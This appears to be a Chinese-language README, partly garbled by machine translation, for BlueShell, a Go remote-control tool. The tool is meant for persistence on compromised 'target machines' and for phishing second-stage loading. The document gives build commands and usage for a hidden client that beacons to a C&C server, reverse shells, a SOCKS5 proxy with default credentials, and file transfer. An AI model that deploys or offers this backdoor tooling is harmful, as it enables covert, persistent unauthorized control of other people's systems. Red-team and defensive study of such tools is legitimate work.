BlueShell-Go语言编写的持续远程控制工具
蓝壳
BlueShell是一个Go语言编写的持续远程控制工具,拿下靶机后,根据操作系统版本下载部署对应的bsClient,其会每隔固定时间向指定的C&C地址发起反弹连接尝试,在C&C端运行bsServer即可连接bsClient,从而实现对靶机的持续控制,主要适用场景:
红蓝对抗中的持久化后门或内网代理
社工钓鱼二次加载
目前支持的主要功能有:
循环持续控制
跨平台,支持Linux,Windows,MacOS
交互式Shell反弹,Linux支持Tab补全,VIM,Ctrl C等交互操作,Windows只支持普通反弹Shell
袜子5代理反弹
文件上传,下载
TLS通信加密
项目地址:https : //github.com/whitehatnote/BlueShell
编译的文件
Linux和MacOS
生成bsClient
去获取github.com/armon/go-socks5
去获取github.com/creack/pty
去获取github.com/hashicorp/yamux
去建立--ldflags “ -s -w ” -o bsClient client.go
生成bsServer
去获取github.com/creack/pty
去获取github.com/hashicorp/yamux
去github.com/djimenez/iconv-go
去获取golang.org/x/crypto/ssh/terminal
去建立--ldflags “ -s -w ” -o bsServer server.go
视窗
生成bsClient
去获取github.com/armon/go-socks5
去获取github.com/creack/pty
去获取github.com/hashicorp/yamux
去建立--ldflags “ -s -w -H = windowsgui ” -o bsClient.exe client.go
工具使用方法
客户
在保守靶机上运行bsClient
Windows靶机:
默认配置模式启动
启动/ b bsClient.exe
参数模式启动,-h指定远控端地址,-p指定远控端监听端口,-t指定尝试连接远控的间隔秒数
开始/ b bsClient.exe -h 10.0.0.1 -p 443 -t 10
Linux和MacOS子机:
默认配置模式启动
nohup bsClient 和
参数模式启动,-h指定远控端地址,-p指定远控端监听端口
nohup bsClient -h 10.0.0.1 -p 443 &
C&C服务器
远控端运行bsServer,需要是Linux机器,并且密钥目录与bsServer在相同根目录下,启动成功如下效果:
[root@host BluesShell]# ls -al
总用量 4148
drwxr-xr-x 3 root root 4096 6月 17 22:14 .
drwxrwxrwt. 10 root root 40960 6月 17 22:13 ..
-rwxr-xr-x 1 root root 4193320 6月 17 22:13 bsServer
drwxr-xr-x 2 root root 4096 6月 17 22:13 key
[root@host BluesShell]# ./bsServer
waiting for client connect...
动作:反弹壳
默认启动,远控监听8081端口,执行反弹shell操作
./bsServer
参数启动,-p指定远控监听443端口,-a指定执行反弹shell操作
./bsServer -p 443 -a shell
Windows靶机的乱码问题解决,-rencode指定靶机的编码类型
./bsServer -rencode gb2312
行动:反弹Socks5代理
默认启动,远控监听8081端口,执行反弹socks操作,socks5的重置监听端口为7777,用作用户名blue,用作密码Blue @ 2020
./bsServer -a袜子
参数启动,-p指定远控监听443端口,-a执行指定的重新启动socks操作,-sport指定socks监听的端口为7778,-suser指定socks代理的认证账号,-spass指定socks代理的认证密码
./bsServer -p 443 -a袜子-sport 7778 -suser袜子用户-spass袜子密码
操作:文件上传下载
上传本地文件到预期目标机,-lpath指定需要上传的本地文件路径,-rdir指定上传到的目录
./bsServer -a上传-lpath /tmp/tmp.txt -rdir c:\\
从本地靶机下载文件到本地,-rpath指定需要下载的文件地址,-ldir指定存放下载文件的本地路径
./bsServer -a上载-rpath c:\\ tmp.txt -ldir / tmp
0x4。参考
https://github.com/sysdream/hershell
https://github.com/creaktive/tsh
【文章来源】
https://github.com/whitehatnote/BlueShell